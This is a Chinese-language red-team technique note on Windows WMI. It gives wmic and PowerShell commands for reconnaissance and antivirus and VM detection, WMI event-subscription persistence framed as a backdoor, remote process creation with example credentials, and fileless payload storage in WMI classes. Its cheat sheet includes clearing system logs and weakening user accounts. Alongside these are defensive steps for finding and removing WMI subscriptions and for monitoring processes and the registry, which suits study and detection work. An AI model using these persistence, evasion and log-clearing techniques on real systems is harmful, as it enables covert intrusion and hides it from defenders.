一、介绍
WMI 是 powershell 的子系统,为系统管理员提供了用于系统监视的的工具。
WMI 的用途:
- 本地/远程系统的状态信息
- 在远程计算机/应用程序上配置安全设置
- 设置和更改用户和组权限
- 设置/修改系统属性
- 代码执行
- 调度流程
- 设置日志记录
- 使用 Powershell 操作 WMI 管理
注意: 这里Powershell操作WMI的对象使用的是内置模块Get-WmiObject,以及查询的类为Win32_Service类,Win32_Service的其他类在官方文档中已经罗列详细:Win32类计算机硬件类、操作系统类等,但是要注意Win32_Service不是唯一可以操作WMI的类,以下类可以交替使用。
- WIn32_Service
- Win32_BaseService
- Win32_TerminalService
- Win32_SystemDriver
- 使用 wmic 操作 WMI 管理
#查询windows机器版本和服务位数和.net版本wmic os get captionwmic os get osarchitecturewmic OS get Caption,CSDVersion,OSArchitecture,Version#查询本机所有盘符fsutil fsinfo drivesshell wmic logicaldisk list briefshell wmic logicaldisk get description,name,size,freespace /value#查看系统中⽹卡的IP地址和MAC地址wmic nicconfig get ipaddress,macaddress#⽤户列表wmic useraccount list brief#查看当前系统是否有屏保保护,延迟是多少wmic desktop get screensaversecure,screensavertimeout#域控机器wmic ntdomain list brief#查询杀软wmic /namespace:\\root\securitycenter2 path antispywareproduct GET displayName,productState, pathToSignedProductExe && wmic /namespace:\\root\securitycenter2 path antivirusproduct GET displayName,productState, pathToSignedProductExe#查询启动项wmic startup list brief |more#获取打补丁信息wmic qfe list#启动的程序wmic startup list brief#启动的程序wmic startup list full# 查询系统信息wmic os list brief
二、红队应用
整理、参考自:
http://drops.xmd5.com/static/drops/tips-8189.html
http://drops.xmd5.com/static/drops/tips-8260.html
https://wooyun.js.org/drops/WMI Defense.html Defense.html)
https://3gstudent.github.io/3gstudent.github.io/Study-Notes-of-WMI-Persistence-using-wmic.exe/
1. 侦察
操作系统相关信息
Get-WmiObject -Namespace ROOT\CIMV2 -Class Win32_OperatingSystemwmic /NAMESPACE:"\\root\CIMV2" PATH Win32_OperatingSystem GET /all /FORMAT:listwmic os GET /all /FORMAT:listGet-WmiObject -Namespace ROOT\CIMV2 -Class Win32_ComputerSystemGet-WmiObject -Namespace ROOT\CIMV2 -Class Win32_BIOS
文件/目录列表
Get-WmiObject -Namespace ROOT\CIMV2 -Class CIM_DataFile
磁盘卷列表
Get-WmiObject -Namespace ROOT\CIMV2 -Class Win32_Volume
$HKEY_CURRENT_USER =&H80000001$computer ='.'$reg = [WMIClass]"ROOT\DEFAULT:StdRegProv"$Key = "Console"$Value = "HistoryBufferSize"$results = $reg.GetDWORDValue($HKEY_CURRENT_USER, $Key, $value)"Current History Buffer Size: {0}" -f $results.uValue
wmic /NAMESPACE:"\\root\DEFAULT" path stdregprov call GetDWORDValue ^&H80000001,"Console", "HistoryBufferSize"
当前进程
wmic /NAMESPACE:"\\root\CIMV2" PATH Win32_Process GET Caption /FORMAT:listGet-WmiObject -Namespace ROOT\CIMV2 -Class Win32_Process
列举服务
Get-WmiObject -Namespace ROOT\CIMV2 -Class Win32_Service
日志
Get-WmiObject -Namespace ROOT\CIMV2 -Class Win32_NtLogEvent
登陆账户
Get-WmiObject -Namespace ROOT\CIMV2 -Class Win32_LoggedOnUser
共享
Get-WmiObject -Namespace ROOT\CIMV2 -Class Win32_Share
补丁
Get-WmiObject -Namespace ROOT\CIMV2 -Class Win32_QuickFixEngineering
杀毒软件
Get-WmiObject -Namespace root\SecurityCenter2 -Class AntiVirusProduct
虚拟机检测
$VMwareDetected = $False$VMAdapter = Get-WmiObject Win32_NetworkAdapter -Filter 'Manufacturer LIKE"%VMware%" OR Name LIKE "%VMware%"'$VMBios = Get-WmiObject Win32_BIOS -Filter 'SerialNumber LIKE "%VMware%"'$VMToolsRunning = Get-WmiObject Win32_Process -Filter 'Name="vmtoolsd.exe"'if ($VMAdapter -or $VMBios -or $VMToolsRunning){$VMwareDetected = $True"in vm"}else{"not in vm"}
$VMDetected = $False$Arguments = @{Class = 'Win32_ComputerSystem'Filter = 'NumberOfLogicalProcessors < 2 AND TotalPhysicalMemory < 2147483648'}if (Get-WmiObject @Arguments) {$VMDetected = $True"In vm"}else{"Not in vm"}
wmic /NAMESPACE:"\\root\CIMV2" PATH Win32_ComputerSystem GET NumberOfLogicalProcessors,TotalPhysicalMemory /FORMAT:list
2. 持久化
开机超过180s,每5s启动一次notepad.exe
//管理员权限$wmiParams = @{Computername = $env:COMPUTERNAMEErrorAction = 'Stop'NameSpace = 'root\subscription'}$wmiParams.Class = '__EventFilter'$wmiParams.Arguments = @{Name = 'evil'EventNamespace = 'root\CIMV2'QueryLanguage = 'WQL'Query = "select * from __InstanceModificationEvent within 5 where targetInstance isa 'Win32_PerfFormattedData_PerfOS_System' and targetInstance.SystemUpTime >= 180 "}$filterResult = Set-WmiInstance @wmiParams$wmiParams.Class = 'CommandLineEventConsumer'$wmiParams.Arguments = @{Name = 'evil'CommandLineTemplate = 'C:\Windows\System32\notepad.exe'}$consumerResult = Set-WmiInstance @wmiParams$wmiParams.Class = '__FilterToConsumerBinding'$wmiParams.Arguments = @{Filter = $filterResultConsumer = $consumerResult}$bindingResult = Set-WmiInstance @wmiParams

查看WMI后门
//管理员权限#List Event FiltersGet-WMIObject -Namespace root\Subscription -Class __EventFilter#List Event ConsumersGet-WMIObject -Namespace root\Subscription -Class __EventConsumer#List Event BindingsGet-WMIObject -Namespace root\Subscription -Class __FilterToConsumerBinding
删除WMI后门
//管理员权限#FilterGet-WMIObject -Namespace root\Subscription -Class __EventFilter -Filter "Name='evil'" | Remove-WmiObject -Verbose#ConsumerGet-WMIObject -Namespace root\Subscription -Class CommandLineEventConsumer -Filter "Name='evil'" | Remove-WmiObject -Verbose#BindingGet-WMIObject -Namespace root\Subscription -Class __FilterToConsumerBinding -Filter "__Path LIKE '%evil%'" | Remove-WmiObject -Verbose
3. 横向移动
wmic /node:192.168.240.144 /user:ring2\win10 /password:trend#1. process call create "notepad.exe"wmic /node:192.168.240.144 /user:ring2\win10 /password:trend#1. process where name="notepad.exe" delete

如果出现RPC 服务器不可用”这个错误,可以确认下防火墙入站规则中是否开启了wmi

4. 存储payload
把payload 存储在类属性中,不会留下文件,实际位于硬盘上的一个复杂的数据库中(objects.data)
【管理员权限】# 新建evil ManagementClass$evilClass = New-Object System.Management.ManagementClass("root\cimv2", $null, $null)$evilClass.__CLASS = "evil"$evilClass.Properties.Add("Code", [System.Management.CimType]::String, $false)$command = "Start-Process notepad.exe"$bytes = [System.Text.Encoding]::Unicode.GetBytes($command)$encodedCommand = [Convert]::ToBase64String($bytes)$evilClass.Properties["Code"].Value = $encodedCommand$evilClass.Put()# 执行储存在evil class属性中的代码$code = ([wmiclass]"\\.\root\cimv2:evil").Properties["Code"].valuepowershell.exe -enc $code# 删除$evilClass.delete()
更多
1. WMI订阅
以监控到notepad.exe启动后记录日志为例
powershell cmdlet Set-WmiInstance支持创建一个WMI Instance
#wmiParams字典用于Splatting, 指定3个参数 -Computername, -ErrorAction, -Namespace$wmiParams = @{Computername = $env:COMPUTERNAMEErrorAction = 'Stop'NameSpace = 'root\subscription'}#新建Filter, $wmiParams.Arguments就是Set-WmiInstance命令里的-Arguments参数,其值是__EventFilter构造函数所需参数$wmiParams.Class = '__EventFilter'$wmiParams.Arguments = @{Name = 'ProcessFilter'EventNamespace = 'root\CIMV2'QueryLanguage = 'WQL'Query = "select * from __InstanceCreationEvent within 5 where targetInstance isa 'Win32_Process' and targetInstance.Name = 'Notepad.exe' "}$filterResult = Set-WmiInstance @wmiParams#同理,新建Consumer$wmiParams.Class = 'LogFileEventConsumer'$wmiParams.Arguments = @{Name = 'ProcessConsumer'Text = 'A process has been created: %TargetInstance.Name%'FileName = $env:USERPROFILE + "\Desktop\log.log"}$consumerResult = Set-WmiInstance @wmiParams#同理,新建Binding$wmiParams.Class = '__FilterToConsumerBinding'$wmiParams.Arguments = @{Filter = $filterResultConsumer = $consumerResult}$bindingResult = Set-WmiInstance @wmiParams##移除WMI订阅事件#FilterGet-WMIObject -Namespace root\Subscription -Class __EventFilter -Filter "Name='ProcessFilter'" | Remove-WmiObject -Verbose#ConsumerGet-WMIObject -Namespace root\Subscription -Class LogFileEventConsumer -Filter "Name='ProcessConsumer'" | Remove-WmiObject -Verbose#BindingGet-WMIObject -Namespace root\Subscription -Class __FilterToConsumerBinding -Filter "__Path LIKE '%ProcessFilter%'" | Remove-WmiObject -Verbose
也可以用原生.Net类ManagementClass创建WMI Instance。
#Creating a new event filter$instanceFilter = ([wmiclass]"\\.\root\subscription:__EventFilter").CreateInstance()$instanceFilter.QueryLanguage = "WQL"$instanceFilter.Query = "select * from __InstanceCreationEvent within 5 where targetInstance isa 'Win32_Process' and targetInstance.Name = 'Notepad.exe'"$instanceFilter.Name = "ProcessFilter"$instanceFilter.EventNamespace = 'root\cimv2'$result = $instanceFilter.Put()$newFilter = $result.Path#Creating a new event consumer$instanceConsumer = ([wmiclass]"\\.\root\subscription:LogFileEventConsumer").CreateInstance()$instanceConsumer.Name = 'LogFileEventConsumer'$instanceConsumer.Filename = $env:USERPROFILE + "\Desktop\log2.log"$instanceConsumer.Text = 'A process has been created: %TargetInstance.Name%'$result = $instanceConsumer.Put()$newConsumer = $result.Path#Bind filter and consumer$instanceBinding = ([wmiclass]"\\.\root\subscription:__FilterToConsumerBinding").CreateInstance()$instanceBinding.Filter = $newFilter$instanceBinding.Consumer = $newConsumer$result = $instanceBinding.Put()$newBinding = $result.Path##Removing WMI Subscriptions using Remove-WMIObject([wmi]$newFilter).Delete()([wmi]$newConsumer).Delete()([wmi]$newBinding).Delete()
%SystemRoot%\System32\wbem\Repository\OBJECTS.DATA 下会记录WMI订阅的信息,如果怀疑感染后被设置WMI订阅驻留,除了powershell命令,也可以看看这个文件有没有特别的WMI 订阅。

除了LogFileEventConsumer,CommandLineEventConsumer,还可以使用ActiveScriptEventConsumer 执行脚本
(1)直接执行现有脚本
instance of ActiveScriptEventConsumer as $Cons{Name = "ASEC";ScriptingEngine = "VBScript";ScriptFileName = "c:\\asec2.vbs";};
(2)内嵌脚本,不会留下痕迹
instance of ActiveScriptEventConsumer as $Cons{Name = "ASEC";ScriptingEngine = "VBScript";ScriptText ="Dim objFS, objFile\n""Set objFS = CreateObject(\"Scripting.FileSystemObject\")\n""Set objFile = objFS.OpenTextFile(\"C:\\ASEC.log\","" 8, true)\nobjFile.WriteLine \"Time: \" & Now & \";"" Entry made by: ASEC\"\nobjFile.WriteLine"" \"Application closed. UserModeTime: \" & ""TargetEvent.TargetInstance.UserModeTime &_\n""\"; KernelModeTime: \" & ""TargetEvent.TargetInstance.KernelModeTime ""& \" [hundreds of nanoseconds]\"\n""objFile.Close\n";};
2. 系统监控
监视进程创建
$filterName = 'BotFilter48'$consumerName = 'BotConsumer48'#查询进程创建事件$Query = "SELECT * FROM __InstanceCreationEvent WITHIN 5 WHERE TargetInstance ISA 'Win32_Process'"$WMIEventFilter = Set-WmiInstance -Class __EventFilter -NameSpace "root\subscription" -Arguments @{Name=$filterName;EventNameSpace="root\cimv2";QueryLanguage="WQL";Query=$Query} -ErrorAction Stop#写入日志文件$Arg =@{Name=$consumerNameFilename = 'C:\test\log.log'Text = 'New Process Created with name %TargetInstance.Name%'}$WMIEventConsumer = Set-WmiInstance -Class LogFileEventConsumer -Namespace "root\subscription" -Arguments $ArgSet-WmiInstance -Class __FilterToConsumerBinding -Namespace "root\subscription" -Arguments @{Filter=$WMIEventFilter;Consumer=$WMIEventConsumer}
监视进程结束
$filterName = 'BotFilter49'$consumerName = 'BotConsumer49'# 查询进程结束事件$Query = "SELECT * FROM __InstanceDeletionEvent WITHIN 5 WHERE TargetInstance ISA 'Win32_Process'"$WMIEventFilter = Set-WmiInstance -Class __EventFilter -NameSpace "root\subscription" -Arguments @{Name=$filterName;EventNameSpace="root\cimv2";QueryLanguage="WQL";Query=$Query} -ErrorAction Stop$Arg =@{Name=$consumerNameFilename = 'C:\test\log.log'Text = 'Task kill with name %TargetInstance.Name%'}$WMIEventConsumer = Set-WmiInstance -Class LogFileEventConsumer -Namespace "root\subscription" -Arguments $ArgSet-WmiInstance -Class __FilterToConsumerBinding -Namespace "root\subscription" -Arguments @{Filter=$WMIEventFilter;Consumer=$WMIEventConsumer}
监视注册表
(1)监视单一键值
$filterName = 'BotFilter51'$consumerName = 'BotConsumer51'$Query ="SELECT * FROM RegistryKeyChangeEvent WHERE Hive='HKEY_LOCAL_MACHINE' AND KeyPath='SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run'"$WMIEventFilter = Set-WmiInstance -Class __EventFilter -NameSpace "root\subscription" -Arguments @{Name=$filterName;EventNameSpace="root\default";QueryLanguage="WQL";Query=$Query} -ErrorAction Stop$Arg =@{Name=$consumerNameFilename = 'C:\test\log.log'Text ='The change is HKEY_LOCAL_MACHINE\\%KeyPath%'}$WMIEventConsumer = Set-WmiInstance -Class LogFileEventConsumer -Namespace "root\subscription" -Arguments $ArgSet-WmiInstance -Class __FilterToConsumerBinding -Namespace "root\subscription" -Arguments @{Filter=$WMIEventFilter;Consumer=$WMIEventConsumer}
(2)监视某一键值及其子键
监视 “HKEY_LOCAL_MACHINE\\SOFTWARE\Microsoft” 键值及其子键的任何改动
$filterName = 'BotFilter52'$consumerName = 'BotConsumer52'$Query ="SELECT * FROM RegistryTreeChangeEvent WHERE Hive='HKEY_LOCAL_MACHINE' AND RootPath='SOFTWARE\\Microsoft\\'"$WMIEventFilter = Set-WmiInstance -Class __EventFilter -NameSpace "root\subscription" -Arguments @{Name=$filterName;EventNameSpace="root\default";QueryLanguage="WQL";Query=$Query} -ErrorAction Stop$Arg =@{Name=$consumerNameFilename = 'C:\test\logtree.log'Text ='The change is HKEY_LOCAL_MACHINE\\%RootPath%'}$WMIEventConsumer = Set-WmiInstance -Class LogFileEventConsumer -Namespace "root\subscription" -Arguments $ArgSet-WmiInstance -Class __FilterToConsumerBinding -Namespace "root\subscription" -Arguments @{Filter=$WMIEventFilter;Consumer=$WMIEventConsumer}
wmic
wmic /?wmic computersystem get Name, domain, Manufacturer, Model, Username, Roles /format:list# group sidswmic group get Caption, InstallDate, LocalAccount, Domain, SID, Status# Get OS Detailswmic os get CurrentTimeZone, FreePhysicalMemory, FreeVirtualMemory, LastBootUpdate, NumberofProcesses, NumberofUsers, Organization, Registereduser, Status /format:list# Get the Motherboard Detailswmic baseboard get Manufacturer, Product, SerialNumber, Version# Get BIOS Serial Numberwmic bios, get serialNumber# Get Hard Disk Detailswmic diskdrive get Name, Manufacturer, Model, InterfaceType, MediaLoaded, MediaType /format:list# Get Hard Disk Partitions Detailswmic logicaldisk where drivetype=3 get Name, Compressed, Description, FileSystem, FreeSpace, SupportsDiskQuotas, VolumeDirty, VolumeName# Detect If victim system is a host OS or installed via VMwarewmic onboarddevice get Desciption, DeviceType, Enabled, Status /format:list# Lock a User Accountwmic useraccount where name='demo' set disabled=false# Remove Password requirement for loggingwmic useraccount where name='demo' set PasswordRequired=false# Rename a user accountwmic useraccount where name='demo' rename hacker# Restrict user from changing a passwordwmic useraccount where name='hacker' set passwordchangeable=false# Get Antivirus Detailswmic /namespace:\\root\securitycenter2 path antivirusproduct GET displayName, productState, pathToSignedProductExe# Clear System Logswmic nteventlog where filename='system' call cleareventlog# create processwmic process call create "taskmgr.exe"# Terminate a processwmic process where name="explorer.exe" call terminate# Get a list of Installed Applicationswmic product get name# Get a list of Running Serviceswmic service where (state="running") get caption, name, startmode, state# Get Startup Serviceswmic startup get Caption, Command# get a list which contains the location of the executable files other than that of windows.wmic PROCESS WHERE "NOT ExecutablePath LIKE ‘%Windows%’" GET ExecutablePath# Get System Driver Detailswmic sysdriver get Caption, Name, PathName, ServiceType, State, Status /format:list# Locate System Fileswmic environment get Description, VariableValue# Get Folder Propertieswmic FSDIR where "drive='c:' and filename='test" get /format:list# Get File Propertieswmic datafile where name='c:\\windows\\system32\\demo\\demo.txt' get /format:list# Change Priority of a Processwmic process where name="explorer.exe" call setpriority 64
